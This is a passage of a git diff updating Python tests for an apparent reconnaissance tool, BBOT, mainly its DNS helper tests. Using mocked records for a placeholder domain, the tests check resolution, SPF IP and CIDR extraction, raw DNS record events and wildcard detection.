+    event2 = scan.make_event("1.2.3.4", parent=scan.root_event)
+    event3 = scan.make_event("evilcorp.com", parent=scan.root_event)
+    event4 = scan.make_event("evilcorp.com", parent=scan.root_event)
+    # first two events are IPS
+    assert event1.uuid != event2.uuid
+    assert event1.id == event2.id
+    # second two are DNS
+    assert event2.uuid != event3.uuid
+    assert event2.id != event3.id
+    assert event3.uuid != event4.uuid
+    assert event3.id == event4.id
+
+    event_set_bbot = {
+        event1,
+        event2,
+        event3,
+        event4,
+    }
+    assert len(event_set_bbot) == 2
+    assert set([e.type for e in event_set_bbot]) == {"IP_ADDRESS", "DNS_NAME"}
+
+    event_set_pydantic = {
+        Event(**event1.json()),
+        Event(**event2.json()),
+        Event(**event3.json()),
+        Event(**event4.json()),
+    }
+    assert len(event_set_pydantic) == 2
+    assert set([e.type for e in event_set_pydantic]) == {"IP_ADDRESS", "DNS_NAME"}
+
+
+# TODO: SQL
diff --git a/bbot/test/test_step_1/test_depsinstaller.py b/bbot/test/test_step_1/test_depsinstaller.py
index 9dff1c0281..76a363ae5d 100644
--- a/bbot/test/test_step_1/test_depsinstaller.py
+++ b/bbot/test/test_step_1/test_depsinstaller.py
@@ -6,6 +6,7 @@ async def test_depsinstaller(monkeypatch, bbot_scanner):
     scan = bbot_scanner(
         "127.0.0.1",
     )
+    await scan._prep()
 
     # test shell
     test_file = Path("/tmp/test_file")
diff --git a/bbot/test/test_step_1/test_dns.py b/bbot/test/test_step_1/test_dns.py
index a8bfefa3a1..55a964e253 100644
--- a/bbot/test/test_step_1/test_dns.py
+++ b/bbot/test/test_step_1/test_dns.py
@@ -1,8 +1,10 @@
 from ..bbot_fixtures import *
 
-from bbot.core.helpers.dns.helpers import extract_targets, service_record, common_srvs
+from bbot.core.helpers.dns.helpers import all_rdtypes, common_srvs, extract_targets, record_to_text, service_record
 
 
+# Common mock dataset (zone-file format -- TXT character-strings must be quoted
+# to keep whitespace inside the payload from being tokenized).
 mock_records = {
     "one.one.one.one": {
         "A": ["1.1.1.1", "1.0.0.1"],
@@ -15,254 +17,384 @@
 }
 
 
+@pytest.mark.asyncio
+async def test_dns_helper(bbot_scanner):
+    scan = bbot_scanner()
+    await scan.helpers.dns._mock_dns({"asdf.example.com": {"A": ["1.2.3.4"]}})
+    result = await scan.helpers.dns.resolve("asdf.example.com")
+    assert "1.2.3.4" in result
+
+
 @pytest.mark.asyncio
 async def test_dns_engine(bbot_scanner):
+    """High-level resolve / batch / null-MX cleaning via scan.helpers.dns."""
     scan = bbot_scanner()
-    await scan.helpers._mock_dns(
-        {"one.one.one.one": {"A": ["1.1.1.1"]}, "1.1.1.1.in-addr.arpa": {"PTR": ["one.one.one.one"]}}
+    await scan._prep()
+    await scan.helpers.dns._mock_dns(
+        {
+            "one.one.one.one": {"A": ["1.1.1.1"]},
+            "1.1.1.1.in-addr.arpa": {"PTR": ["one.one.one.one"]},
+        }
     )
-    result = await scan.helpers.resolve("one.one.one.one")
+
+    # forward resolve
+    result = await scan.helpers.dns.resolve("one.one.one.one")
     assert "1.1.1.1" in result
+    # we only mocked A, not AAAA
     assert "2606:4700:4700::1111" not in result
 
-    results = [_ async for _ in scan.helpers.resolve_batch(("one.one.one.one", "1.1.1.1"))]
-    pass_1 = False
-    pass_2 = False
-    for query, result in results:
-        if query == "one.one.one.one" and "1.1.1.1" in result:
-            pass_1 = True
-        elif query == "1.1.1.1" and "one.one.one.one" in result:
-            pass_2 = True
-    assert pass_1 and pass_2
-
-    results = [_ async for _ in scan.helpers.resolve_raw_batch((("one.one.one.one", "A"), ("1.1.1.1", "PTR")))]
-    pass_1 = False
-    pass_2 = False
-    for (query, rdtype), (answers, errors) in results:
-        results = []
-        for answer in answers:
-            for t in extract_targets(answer):
-                results.append(t[1])
-        if query == "one.one.one.one" and "1.1.1.1" in results:
-            pass_1 = True
-        elif query == "1.1.1.1" and "one.one.one.one" in results:
-            pass_2 = True
-    assert pass_1 and pass_2
-
-    from bbot.core.helpers.dns.mock import MockResolver
-
-    # ensure dns records are being properly cleaned
-    mockresolver = MockResolver({"evilcorp.com": {"MX": ["0 ."]}})
-    mx_records = await mockresolver.resolve("evilcorp.com", rdtype="MX")
-    results = set()
-    for r in mx_records:
-        results.update(extract_targets(r))
-    assert not results
+    # reverse resolve
+    result = await scan.helpers.dns.resolve("1.1.1.1", "PTR")
+    assert "one.one.one.one" in result
+
+    # batch resolution -- many hosts, single rdtype
+    await scan.helpers.dns._mock_dns(
+        {
+            "one.one.one.one": {"A": ["1.1.1.1"]},
+            "two.two.two.two": {"A": ["2.2.2.2"]},
+        }
+    )
+    batch_results = {}
+    async for host, response in scan.helpers.dns.resolve_batch_full(["one.one.one.one", "two.two.two.two"], "A"):
+        addrs = {ans.rdata["A"] for ans in response.response.answers}
+        batch_results[host] = addrs
+    assert batch_results["one.one.one.one"] == {"1.1.1.1"}
+    assert batch_results["two.two.two.two"] == {"2.2.2.2"}
+
+    # null MX (RFC 7505: "0 .") must produce no extracted targets
+    await scan.helpers.dns._mock_dns({"evilcorp.com": {"MX": ["0 ."]}})
+    mx_response = await scan.helpers.dns.resolve_full("evilcorp.com", "MX")
+    extracted = set()
+    for ans in mx_response.response.answers:
+        extracted.update(extract_targets(ans))
+    assert not extracted
+
 
+@pytest.mark.asyncio
+async def test_extract_targets_spf_ips(bbot_scanner):
+    """SPF TXT records: extract IPs and CIDRs (ip4:/ip6:) alongside hostnames."""
+    scan = bbot_scanner()
+    await scan._prep()
+    await scan.helpers.dns._mock_dns(
+        {
+            "evilcorp.com": {
+                "TXT": [
+                    '"v=spf1 ip4:1.2.3.4 ip4:5.6.7.0/24 ip6:2001:db8::/48 include:cloudprovider.com exists:%{i}.sniff.evilcorp.com -all"'
+                ],
+            },
+            "nospf.evilcorp.com": {
+                "TXT": ['"google-site-verification=abc123 contact admin.evilcorp.com ip4:9.9.9.0/24"'],
+            },
+        }
+    )
+    response = await scan.helpers.dns.resolve_full("evilcorp.com", "TXT")
+    extracted = set()
+    for ans in response.response.answers:
+        extracted.update(extract_targets(ans))
+    hosts = {host for _, host in extracted}
+    assert "1.2.3.4" in hosts, "single IPv4 from ip4: mechanism not extracted"
+    assert "5.6.7.0/24" in hosts, "IPv4 CIDR from ip4: mechanism not extracted"
+    assert "2001:db8::/48" in hosts, "IPv6 CIDR from ip6: mechanism not extracted"
+    assert {"cloudprovider.com"} <= hosts, "include: hostname not extracted"
+    assert "5.6.7.0" not in hosts, "bare network address must not be emitted alongside its CIDR"
+    assert not any("sniff" in host or "%" in host for host in hosts), "SPF macro mechanisms must be skipped"
+
+    # non-SPF TXT records are not eligible for IP/CIDR extraction, only hostnames
+    response = await scan.helpers.dns.resolve_full("nospf.evilcorp.com", "TXT")
+    extracted = set()
+    for ans in response.response.answers:
+        extracted.update(extract_targets(ans))
+    hosts = {host for _, host in extracted}
+    assert {"admin.evilcorp.com"} <= hosts, "hostname extraction from non-SPF TXT must be preserved"
+    assert "9.9.9.0/24" not in hosts, "CIDR extraction must be gated on v=spf1"
+
+
+@pytest.mark.asyncio
+async def test_extract_targets_spf_ips_end_to_end(bbot_scanner):
+    """SPF TXT record all the way through the scan: IPs/CIDRs emitted as IP_ADDRESS / IP_RANGE events."""
+    scan = bbot_scanner("evilcorp.com", config={"dns": {"minimal": False}, "scope": {"report_distance": 1}})
+    await scan._prep()
+    await scan.helpers.dns._mock_dns(
+        {
+            "evilcorp.com": {
+                "TXT": [
+                    '"v=spf1 ip4:1.2.3.4 ip4:5.6.7.0/24 ip6:2001:db8::/48 include:cloudprovider.com exists:%{i}.sniff.evilcorp.com -all"'
+                ],
+            },
+            "cloudprovider.com": {"A": ["4.3.2.1"]},
+        }
+    )
+    events = [e async for e in scan.async_start()]
+    ip_addresses = {e.data for e in events if e.type == "IP_ADDRESS"}
+    ip_ranges = {e.data for e in events if e.type == "IP_RANGE"}
+    dns_names = {e.data for e in events if e.type == "DNS_NAME"}
+    assert "1.2.3.4" in ip_addresses, "SPF ip4: address was not emitted as an IP_ADDRESS event"
+    assert "5.6.7.0/24" in ip_ranges, "SPF ip4: CIDR was not emitted as an IP_RANGE event"
+    assert "2001:db8::/48" in ip_ranges, "SPF ip6: CIDR was not emitted as an IP_RANGE event"
+    assert {"cloudprovider.com"} <= dns_names, "SPF include: hostname was not emitted as a DNS_NAME event"
+    assert not any("sniff" in str(e.data) for e in events if e.type in ("DNS_NAME", "IP_ADDRESS", "IP_RANGE")), (
+        "SPF macro mechanism must not produce DNS_NAME/IP events"
+    )
     await scan._cleanup()
 
 
 @pytest.mark.asyncio
 async def test_dns_resolution(bbot_scanner):
-    scan = bbot_scanner("1.1.1.1")
-
-    from bbot.core.helpers.dns.engine import DNSEngine
-
-    dnsengine = DNSEngine(None)
-    await dnsengine._mock_dns(mock_records)
-
-    # lowest level functions
-    a_responses = await dnsengine._resolve_hostname("one.one.one.one")
-    aaaa_responses = await dnsengine._resolve_hostname("one.one.one.one", rdtype="AAAA")
-    ip_responses = await dnsengine._resolve_ip("1.1.1.1")
-    assert a_responses[0].response.answer[0][0].address in ("1.1.1.1", "1.0.0.1")
-    assert aaaa_responses[0].response.answer[0][0].address in ("2606:4700:4700::1111", "2606:4700:4700::1001")
-    assert ip_responses[0].response.answer[0][0].target.to_text() in ("one.one.one.one.",)
-
-    # mid level functions
-    answers, errors = await dnsengine.resolve_raw("one.one.one.one", type="A")
-    responses = []
-    for answer in answers:
-        responses += list(extract_targets(answer))
-    assert ("A", "1.1.1.1") in responses
-    assert ("AAAA", "2606:4700:4700::1111") not in responses
-    answers, errors = await dnsengine.resolve_raw("one.one.one.one", type="AAAA")
-    responses = []
-    for answer in answers:
-        responses += list(extract_targets(answer))
-    assert ("A", "1.1.1.1") not in responses
-    assert ("AAAA", "2606:4700:4700::1111") in responses
-    answers, errors = await dnsengine.resolve_raw("1.1.1.1")
-    responses = []
-    for answer in answers:
-        responses += list(extract_targets(answer))
-    assert ("PTR", "one.one.one.one") in responses
-
-    await dnsengine._shutdown()
-
-    # high level functions
-    dnsengine = DNSEngine(None)
-    assert "1.1.1.1" in await dnsengine.resolve("one.one.one.one")
-    assert "2606:4700:4700::1111" in await dnsengine.resolve("one.one.one.one", type="AAAA")
-    assert "one.one.one.one" in await dnsengine.resolve("1.1.1.1")
-    for rdtype in ("NS", "SOA", "MX", "TXT"):
-        results = await dnsengine.resolve("google.com", type=rdtype)
-        assert len(results) > 0
-
-    # batch resolution
-    batch_results = [r async for r in dnsengine.resolve_batch(["1.1.1.1", "one.one.one.one"])]
-    assert len(batch_results) == 2
-    batch_results = dict(batch_results)
-    assert any(x in batch_results["one.one.one.one"] for x in ("1.1.1.1", "1.0.0.1"))
-    assert "one.one.one.one" in batch_results["1.1.1.1"]
-
-    # custom batch resolution
-    batch_results = [r async for r in dnsengine.resolve_raw_batch([("1.1.1.1", "PTR"), ("one.one.one.one", "A")])]
-    batch_results_new = []
-    for query, (answers, errors) in batch_results:
-        for answer in answers:
-            batch_results_new.append((answer.to_text(), answer.rdtype.name))
-    assert len(batch_results_new) == 3
-    assert any(answer == "1.0.0.1" and rdtype == "A" for answer, rdtype in batch_results_new)
-    assert any(answer == "one.one.one.one." and rdtype == "PTR" for answer, rdtype in batch_results_new)
-
-    # dns cache
-    dnsengine._dns_cache.clear()
-    assert hash(("1.1.1.1", "PTR")) not in dnsengine._dns_cache
-    assert hash(("one.one.one.one", "A")) not in dnsengine._dns_cache
-    assert hash(("one.one.one.one", "AAAA")) not in dnsengine._dns_cache
-    await dnsengine.resolve("1.1.1.1", use_cache=False)
-    await dnsengine.resolve("one.one.one.one", use_cache=False)
-    assert hash(("1.1.1.1", "PTR")) not in dnsengine._dns_cache
-    assert hash(("one.one.one.one", "A")) not in dnsengine._dns_cache
-    assert hash(("one.one.one.one", "AAAA")) not in dnsengine._dns_cache
-
-    await dnsengine.resolve("1.1.1.1")
-    assert hash(("1.1.1.1", "PTR")) in dnsengine._dns_cache
-    await dnsengine.resolve("one.one.one.one", type="A")
-    assert hash(("one.one.one.one", "A")) in dnsengine._dns_cache
-    assert hash(("one.one.one.one", "AAAA")) not in dnsengine._dns_cache
-    dnsengine._dns_cache.clear()
-    await dnsengine.resolve("one.one.one.one", type="AAAA")
-    assert hash(("one.one.one.one", "AAAA")) in dnsengine._dns_cache
-    assert hash(("one.one.one.one", "A")) not in dnsengine._dns_cache
-
-    await dnsengine._shutdown()
-
-    # Ensure events with hosts have resolved_hosts attribute populated
+    """Multi-rdtype resolution + SPF affiliate tagging end-to-end."""
+    scan = bbot_scanner()
     await scan._prep()
-    resolved_hosts_event1 = scan.make_event("one.one.one.one", "DNS_NAME", parent=scan.root_event)
-    resolved_hosts_event2 = scan.make_event("http://one.one.one.one/", "URL_UNVERIFIED", parent=scan.root_event)
-    dnsresolve = scan.modules["dnsresolve"]
-    await dnsresolve.handle_event(resolved_hosts_event1)
-    await dnsresolve.handle_event(resolved_hosts_event2)
-    assert "1.1.1.1" in resolved_hosts_event2.resolved_hosts
-    # URL event should not have dns_children
-    assert not resolved_hosts_event2.dns_children
-    assert resolved_hosts_event1.resolved_hosts == resolved_hosts_event2.resolved_hosts
-    # DNS_NAME event should have dns_children
-    assert "1.1.1.1" in resolved_hosts_event1.dns_children["A"]
-    assert "A" in resolved_hosts_event1.raw_dns_records
-    assert "AAAA" in resolved_hosts_event1.raw_dns_records
-    assert "a-record" in resolved_hosts_event1.tags
-    assert "a-record" not in resolved_hosts_event2.tags
+    await scan.helpers.dns._mock_dns(
+        {
+            "one.one.one.one": {
+                "A": ["1.1.1.1", "1.0.0.1"],
+                "AAAA": ["2606:4700:4700::1111", "2606:4700:4700::1001"],
+                "TXT": ['"v=spf1 ip4:1.2.3.4 ~all"'],
+            },
+            "evilcorp.com": {
+                "NS": ["ns1.evilcorp.com.", "ns2.evilcorp.com."],
+                "SOA": ["ns1.evilcorp.com. admin.evilcorp.com. 1 7200 3600 1209600 3600"],
+                "MX": ["10 mail.evilcorp.com."],
+            },
+        }
+    )
 
+    # mixed-rdtype lookups
+    a = await scan.helpers.dns.resolve("one.one.one.one", "A")
+    assert {"1.1.1.1", "1.0.0.1"}.issubset(a)
+    aaaa = await scan.helpers.dns.resolve("one.one.one.one", "AAAA")
+    assert "2606:4700:4700::1111" in aaaa
+    for rdtype in ("NS", "SOA", "MX"):
+        results = await scan.helpers.dns.resolve("evilcorp.com", rdtype)
+        assert results, f"no results for {rdtype}"
+
+    # full SPF -> affiliate flow: TXT on evilcorp.com mentions cloudprovider.com,
+    # which should be emitted as a DNS_NAME tagged "affiliate"
     scan2 = bbot_scanner("evilcorp.com", config={"dns": {"minimal": False}})
+    await scan2._prep()
     await scan2.helpers.dns._mock_dns(
         {
             "evilcorp.com": {"TXT": ['"v=spf1 include:cloudprovider.com ~all"']},
             "cloudprovider.com": {"A": ["1.2.3.4"]},
-        },
+        }
     )
     events = [e async for e in scan2.async_start()]
-    assert 1 == len(
-        [e for e in events if e.type == "DNS_NAME" and e.data == "cloudprovider.com" and "affiliate" in e.tags]
-    )
+    affiliates = [
+        e for e in events if e.type == "DNS_NAME" and e.data == "cloudprovider.com" and "affiliate" in e.tags
+    ]
+    assert len(affiliates) == 1
 
     await scan._cleanup()
     await scan2._cleanup()
 
 
+@pytest.mark.asyncio
+async def test_resolve_full_and_extract(bbot_scanner):
+    """resolve_full + extract_targets + record_to_text on the new blastdns Records."""
+    scan = bbot_scanner()
+    await scan.helpers.dns._mock_dns(
+        {
+            "one.one.one.one": {
+                "A": ["1.1.1.1"],
+                "AAAA": ["2606:4700:4700::1111"],
+                "MX": ["10 mail.one.one.one.one."],
+            },
+        }
+    )
+
+    a_response = await scan.helpers.dns.resolve_full("one.one.one.one", "A")
+    a_targets = set()
+    for ans in a_response.response.answers:
+        a_targets.update(extract_targets(ans))
+    assert ("A", "1.1.1.1") in a_targets
+
+    mx_response = await scan.helpers.dns.resolve_full("one.one.one.one", "MX")
+    mx_targets = set()
+    for ans in mx_response.response.answers:
+        mx_targets.update(extract_targets(ans))
+        # the MX record_to_text matches dnspython's "preference exchange" format
+        assert record_to_text(ans).endswith("mail.one.one.one.one.")
+    assert ("MX", "mail.one.one.one.one") in mx_targets
+
+
+@pytest.mark.asyncio
+async def test_resolve_multi_full(bbot_scanner):
+    """resolve_multi_full does many rdtypes for one host in a single Rust call."""
+    scan = bbot_scanner()
+    await scan.helpers.dns._mock_dns(
+        {
+            "one.one.one.one": {
+                "A": ["1.1.1.1"],
+                "AAAA": ["2606:4700:4700::1111"],
+            },
+        }
+    )
+
+    results = await scan.helpers.dns.resolve_multi_full("one.one.one.one", ["A", "AAAA"])
+    assert "A" in results and "AAAA" in results
+    a_addrs = {ans.rdata["A"] for ans in results["A"].response.answers}
+    aaaa_addrs = {ans.rdata["AAAA"] for ans in results["AAAA"].response.answers}
+    assert "1.1.1.1" in a_addrs
+    assert "2606:4700:4700::1111" in aaaa_addrs
+
+
+@pytest.mark.asyncio
+async def test_resolve_event(bbot_scanner):
+    """end-to-end: dnsresolve uses resolve_multi_full and populates raw_dns_records."""
+    scan = bbot_scanner("one.one.one.one", "1.1.1.1", config={"dns": {"minimal": False}})
+    await scan._prep()
+    await scan.helpers.dns._mock_dns(mock_records)
+
+    resolved_event = scan.make_event("one.one.one.one", "DNS_NAME", parent=scan.root_event)
+    url_event = scan.make_event("http://one.one.one.one/", "URL_UNVERIFIED", parent=scan.root_event)
+    dnsresolve = scan.modules["dnsresolve"]
+    await dnsresolve.handle_event(resolved_event)
+    await dnsresolve.handle_event(url_event)
+
+    assert "1.1.1.1" in url_event.resolved_hosts
+    # URL events don't get dns_children populated
+    assert not url_event.dns_children
+    assert resolved_event.resolved_hosts == url_event.resolved_hosts
+    # DNS_NAME events do
+    assert "1.1.1.1" in resolved_event.dns_children["A"]
+    assert "A" in resolved_event.raw_dns_records
+    assert "AAAA" in resolved_event.raw_dns_records
+    assert "a-record" in resolved_event.tags
+    assert "a-record" not in url_event.tags
+
+    await scan._cleanup()
+
+
+@pytest.mark.asyncio
+async def test_dns_raw_records(bbot_scanner):
+    """RAW_DNS_RECORD events carry the decoded text representation (no dnspython-style quoting)."""
+    from bbot.modules.base import BaseModule
+
+    expected_txt = (
+        "v=spf1 ip4:103.151.192.0/23 ip4:185.12.80.0/22 "
+        "ip4:188.172.128.0/20 ip4:192.161.144.0/20 ip4:216.198.0.0/18 ~all"
+    )
+
+    class DummyModule(BaseModule):
+        watched_events = ["*"]
+
+        async def setup(self):
+            self.events = []
+            return True
+
+        async def handle_event(self, event):
+            self.events.append(event)
+
+    # scan without omitted event type -- raw record should both flow through and reach output
+    scan = bbot_scanner("one.one.one.one", "1.1.1.1", config={"dns": {"minimal": False}, "omit_event_types": []})
+    await scan._prep()
+    await scan.helpers.dns._mock_dns(mock_records)
+    dummy_module = DummyModule(scan)
+    await dummy_module.setup()
+    scan.modules["dummy_module"] = dummy_module
+    events = [e async for e in scan.async_start()]
+    raw_records = [e for e in events if e.type == "RAW_DNS_RECORD"]
+    assert len(raw_records) == 1
+    rec = raw_records[0]
+    assert rec.host == "one.one.one.one"
+    assert rec.data["host"] == "one.one.one.one"
+    assert rec.data["type"] == "TXT"
+    assert rec.data["answer"] == expected_txt
+    assert rec.discovery_context == "TXT lookup on one.one.one.one produced RAW_DNS_RECORD"
+
+    # scan with omitted event type -- no raw records anywhere
+    scan = bbot_scanner("one.one.one.one", config={"dns": {"minimal": False}, "omit_event_types": ["RAW_DNS_RECORD"]})
+    await scan._prep()
+    await scan.helpers.dns._mock_dns(mock_records)
+    dummy_module = DummyModule(scan)
+    await dummy_module.setup()
+    scan.modules["dummy_module"] = dummy_module
+    events = [e async for e in scan.async_start()]
+    assert 0 == len([e for e in events if e.type == "RAW_DNS_RECORD"])
+    assert 0 == len([e for e in dummy_module.events if e.type == "RAW_DNS_RECORD"])
+
+    # scan with watching module -- raw records reach the module but aren't output
+    DummyModule.watched_events = ["RAW_DNS_RECORD"]
+    scan = bbot_scanner("one.one.one.one", config={"dns": {"minimal": False}, "omit_event_types": ["RAW_DNS_RECORD"]})
+    await scan._prep()
+    await scan.helpers.dns._mock_dns(mock_records)
+    dummy_module = DummyModule(scan)
+    await dummy_module.setup()
+    scan.modules["dummy_module"] = dummy_module
+    events = [e async for e in scan.async_start()]
+    assert 0 == len([e for e in events if e.type == "RAW_DNS_RECORD"])
+    raw_records = [e for e in dummy_module.events if e.type == "RAW_DNS_RECORD"]
+    assert len(raw_records) == 1
+    assert raw_records[0].data["answer"] == expected_txt
+
+
 @pytest.mark.asyncio
 async def test_wildcards(bbot_scanner):
-    scan = bbot_scanner("1.1.1.1")
+    """is_wildcard / is_wildcard_domain against a mocked wildcard zone.
+
+    blastdns MockClient supports ``regex:`` prefixed hosts for pattern matching,
+    which is how we simulate "every random subdomain resolves to the wildcard".
+    """
+    # The test config preloads wildcard_ignore with several common domains (incl. evilcorp.com)
+    # so override it here to actually exercise wildcard detection.
+    scan = bbot_scanner("evilcorp.com", config={"dns": {"wildcard_ignore": []}})
+    await scan._prep()
     helpers = scan.helpers
 
-    from bbot.core.helpers.dns.engine import DNSEngine, all_rdtypes
-
-    dnsengine = DNSEngine(None, debug=True)
-
-    # is_wildcard_domain
-    wildcard_domains = await dnsengine.is_wildcard_domain("asdf.github.io", all_rdtypes)
-    assert len(dnsengine._wildcard_cache) == len(all_rdtypes) + (len(all_rdtypes) - 2)
-    for rdtype in all_rdtypes:
-        assert hash(("github.io", rdtype)) in dnsengine._wildcard_cache
-        if rdtype not in ("A", "AAAA"):
-            assert hash(("asdf.github.io", rdtype)) in dnsengine._wildcard_cache
-    assert "github.io" in wildcard_domains
-    assert "A" in wildcard_domains["github.io"]
-    assert "SRV" not in wildcard_domains["github.io"]
-    assert wildcard_domains["github.io"]["A"] and all(helpers.is_ip(r) for r in wildcard_domains["github.io"]["A"][0])
-    dnsengine._wildcard_cache.clear()
-
-    # is_wildcard
-    for test_domain in ("blacklanternsecurity.github.io", "asdf.asdf.asdf.github.io"):
-        wildcard_rdtypes = await dnsengine.is_wildcard(test_domain, all_rdtypes)
-        assert "A" in wildcard_rdtypes
-        assert "SRV" not in wildcard_rdtypes
-        assert wildcard_rdtypes["A"] == (True, "github.io")
-        assert wildcard_rdtypes["AAAA"] == (True, "github.io")
-        assert len(dnsengine._wildcard_cache) == 2
-        for rdtype in ("A", "AAAA"):
-            assert hash(("github.io", rdtype)) in dnsengine._wildcard_cache
-            assert len(dnsengine._wildcard_cache[hash(("github.io", rdtype))]) == 2
-            assert len(dnsengine._wildcard_cache[hash(("github.io", rdtype))][0]) > 0
-            assert len(dnsengine._wildcard_cache[hash(("github.io", rdtype))][1]) > 0
-        dnsengine._wildcard_cache.clear()
-
-    ### wildcard TXT record ###
-
-    custom_lookup = """
-def custom_lookup(query, rdtype):
-    if rdtype == "TXT" and query.strip(".").endswith("test.evilcorp.com"):
-        return {""}
-"""
-
+    # *.test.evilcorp.com is a wildcard pointing at 127.0.0.99 (A) and dead::beef (AAAA)
     mock_data = {
         "evilcorp.com": {"A": ["127.0.0.1"]},
-        "test.evilcorp.com": {"A": ["127.0.0.2"]},
-        "www.test.evilcorp.com": {"AAAA": ["dead::beef"]},
+        "test.evilcorp.com": {"A": ["127.0.0.99"]},
+        r"regex:.*\.test\.evilcorp\.com$": {"A": ["127.0.0.99"], "AAAA": ["dead::beef"]},
     }
+    await scan.helpers.dns._mock_dns(mock_data)
+
+    # is_wildcard_domain reports the wildcard pool per parent
+    wildcard_domains = await scan.helpers.dns.is_wildcard_domain("asdf.test.evilcorp.com", ["A", "AAAA"])
+    assert "test.evilcorp.com" in wildcard_domains
+    assert "A" in wildcard_domains["test.evilcorp.com"]
+    # the per-zone cache stored both rdtypes for this parent
+    assert hash(("test.evilcorp.com", "A")) in scan.helpers.dns._wildcard_cache
+    assert hash(("test.evilcorp.com", "AAAA")) in scan.helpers.dns._wildcard_cache
+    # the cached wildcard pool contains valid IPs
+    cached_a, cached_a_raw = scan.helpers.dns._wildcard_cache[hash(("test.evilcorp.com", "A"))]
+    assert cached_a and all(helpers.is_ip(ip) for ip in cached_a)
+
+    # is_wildcard tells us whether a specific hostname is a wildcard hit
+    for sub in ("asdf.test.evilcorp.com", "qwer.zxcv.test.evilcorp.com"):
+        wildcard_rdtypes = await scan.helpers.dns.is_wildcard(sub, ["A", "AAAA"])
+        assert wildcard_rdtypes.get("A") == (True, "test.evilcorp.com")
+        assert wildcard_rdtypes.get("AAAA") == (True, "test.evilcorp.com")
+
+    # a bare domain is short-circuited to {}
+    non_wildcard = await scan.helpers.dns.is_wildcard("evilcorp.com", ["A"])
+    assert non_wildcard == {}
 
-    # basic sanity checks
-
-    await dnsengine._mock_dns(mock_data, custom_lookup_fn=custom_lookup)
-
-    a_result = await dnsengine.resolve("evilcorp.com")
-    assert a_result == {"127.0.0.1"}
-    aaaa_result = await dnsengine.resolve("www.test.evilcorp.com", type="AAAA")
-    assert aaaa_result == {"dead::beef"}
-    txt_result = await dnsengine.resolve("asdf.www.test.evilcorp.com", type="TXT")
-    assert txt_result == set()
-    txt_result_raw, errors = await dnsengine.resolve_raw("asdf.www.test.evilcorp.com", type="TXT")
-    txt_result_raw = list(txt_result_raw)
-    assert txt_result_raw
+    await scan._cleanup()
 
-    await dnsengine._shutdown()
+    ### wildcard TXT record (empty TXT for any host ending in test.evilcorp.com) ###
 
-    # first, we check with wildcard detection disabled
+    # regex matches both test.evilcorp.com itself and any subdomain beneath it,
+    # mirroring the original custom_lookup_fn's ``query.strip(".").endswith(...)``
+    txt_mock_data = {
+        "evilcorp.com": {"A": ["127.0.0.1"]},
+        "test.evilcorp.com": {"A": ["127.0.0.2"]},
+        "www.test.evilcorp.com": {"AAAA": ["dead::beef"]},
+        r"regex:^(.+\.)?test\.evilcorp\.com$": {"TXT": [""]},
+    }
 
+    # first, run with wildcard detection disabled for evilcorp.com
     scan = bbot_scanner(
-        "bbot.fdsa.www.test.evilcorp.com",
-        whitelist=["evilcorp.com"],
+        "evilcorp.com",
+        seeds=["bbot.fdsa.www.test.evilcorp.com"],
         config={
             "dns": {"minimal": False, "disable": False, "search_distance": 5, "wildcard_ignore": ["evilcorp.com"]},
             "speculate": True,
         },
     )
-    await scan.helpers.dns._mock_dns(mock_data, custom_lookup_fn=custom_lookup)
-
+    await scan._prep()
+    await scan.helpers.dns._mock_dns(txt_mock_data)
     events = [e async for e in scan.async_start()]
+
     assert len(events) == 12
     assert len([e for e in events if e.type == "DNS_NAME"]) == 5
     assert len([e for e in events if e.type == "RAW_DNS_RECORD"]) == 4
@@ -275,7 +407,12 @@ def custom_lookup(query, rdtype):
     ]
 
     dns_names_by_host = {e.host: e for e in events if e.type == "DNS_NAME"}
-    assert dns_names_by_host["evilcorp.com"].tags == {"domain", "private-ip", "in-scope", "a-record"}
+    assert dns_names_by_host["evilcorp.com"].tags == {
+        "domain",
+        "private-ip",
+        "in-scope",
+        "a-record",
+    }
     assert dns_names_by_host["evilcorp.com"].resolved_hosts == {"127.0.0.1"}
     assert dns_names_by_host["test.evilcorp.com"].tags == {
         "subdomain",
@@ -294,6 +431,7 @@ def custom_lookup(query, rdtype):
         "subdomain",
         "in-scope",
         "txt-record",
+        "seed",
     }
     assert dns_names_by_host["bbot.fdsa.www.test.evilcorp.com"].resolved_hosts == set()
 
@@ -310,16 +448,18 @@ def custom_lookup(query, rdtype):
     # then we run it again with wildcard detection enabled
 
     scan = bbot_scanner(
-        "bbot.fdsa.www.test.evilcorp.com",
-        whitelist=["evilcorp.com"],
+        "evilcorp.com",
+        seeds=["bbot.fdsa.www.test.evilcorp.com"],
         config={
             "dns": {"minimal": False, "disable": False, "search_distance": 5, "wildcard_ignore": []},
             "speculate": True,
         },
     )
-    await scan.helpers.dns._mock_dns(mock_data, custom_lookup_fn=custom_lookup)
+    await scan._prep()
+    await scan.helpers.dns._mock_dns(txt_mock_data)
 
     events = [e async for e in scan.async_start()]
+
     assert len(events) == 12
     assert len([e for e in events if e.type == "DNS_NAME"]) == 5
     assert len([e for e in events if e.type == "RAW_DNS_RECORD"]) == 4
@@ -332,7 +472,12 @@ def custom_lookup(query, rdtype):
     ]
 
     dns_names_by_host = {e.host: e for e in events if e.type == "DNS_NAME"}
-    assert dns_names_by_host["evilcorp.com"].tags == {"domain", "private-ip", "in-scope", "a-record"}
+    assert dns_names_by_host["evilcorp.com"].tags == {
+        "domain",
+        "private-ip",
+        "in-scope",
+        "a-record",
+    }
     assert dns_names_by_host["evilcorp.com"].resolved_hosts == {"127.0.0.1"}
     assert dns_names_by_host["test.evilcorp.com"].tags == {
         "subdomain",
@@ -366,6 +511,7 @@ def custom_lookup(query, rdtype):
         "txt-record",
         "txt-wildcard",
         "wildcard",
+        "seed",
     }
     assert dns_names_by_host["bbot.fdsa.www.test.evilcorp.com"].resolved_hosts == set()
 
@@ -391,17 +537,19 @@ def custom_lookup(query, rdtype):
 
     ### runaway SRV wildcard ###
 
-    custom_lookup = """
-def custom_lookup(query, rdtype):
-    if rdtype == "SRV" and query.strip(".").endswith("evilcorp.com"):
-        return {f"0 100 389 test.{query}"}
-"""
-
-    mock_data = {
-        "evilcorp.com": {"A": ["127.0.0.1"]},
-        "test.evilcorp.com": {"AAAA": ["dead::beef"]},
+    # mock a chain of SRV records that recursively point to a deeper subdomain
+    # (replacing the original test's dynamic ``custom_lookup_fn``).
+    # The regex catch-all is what makes wildcard detection see *.evilcorp.com as a
+    # SRV wildcard zone -- without it, random probes during wildcard detection
+    # would return no SRV records and the *-wildcard-possible tags would never fire.
+    runaway_mock = {
+        "evilcorp.com": {"A": ["127.0.0.1"], "SRV": ["0 100 389 test.evilcorp.com."]},
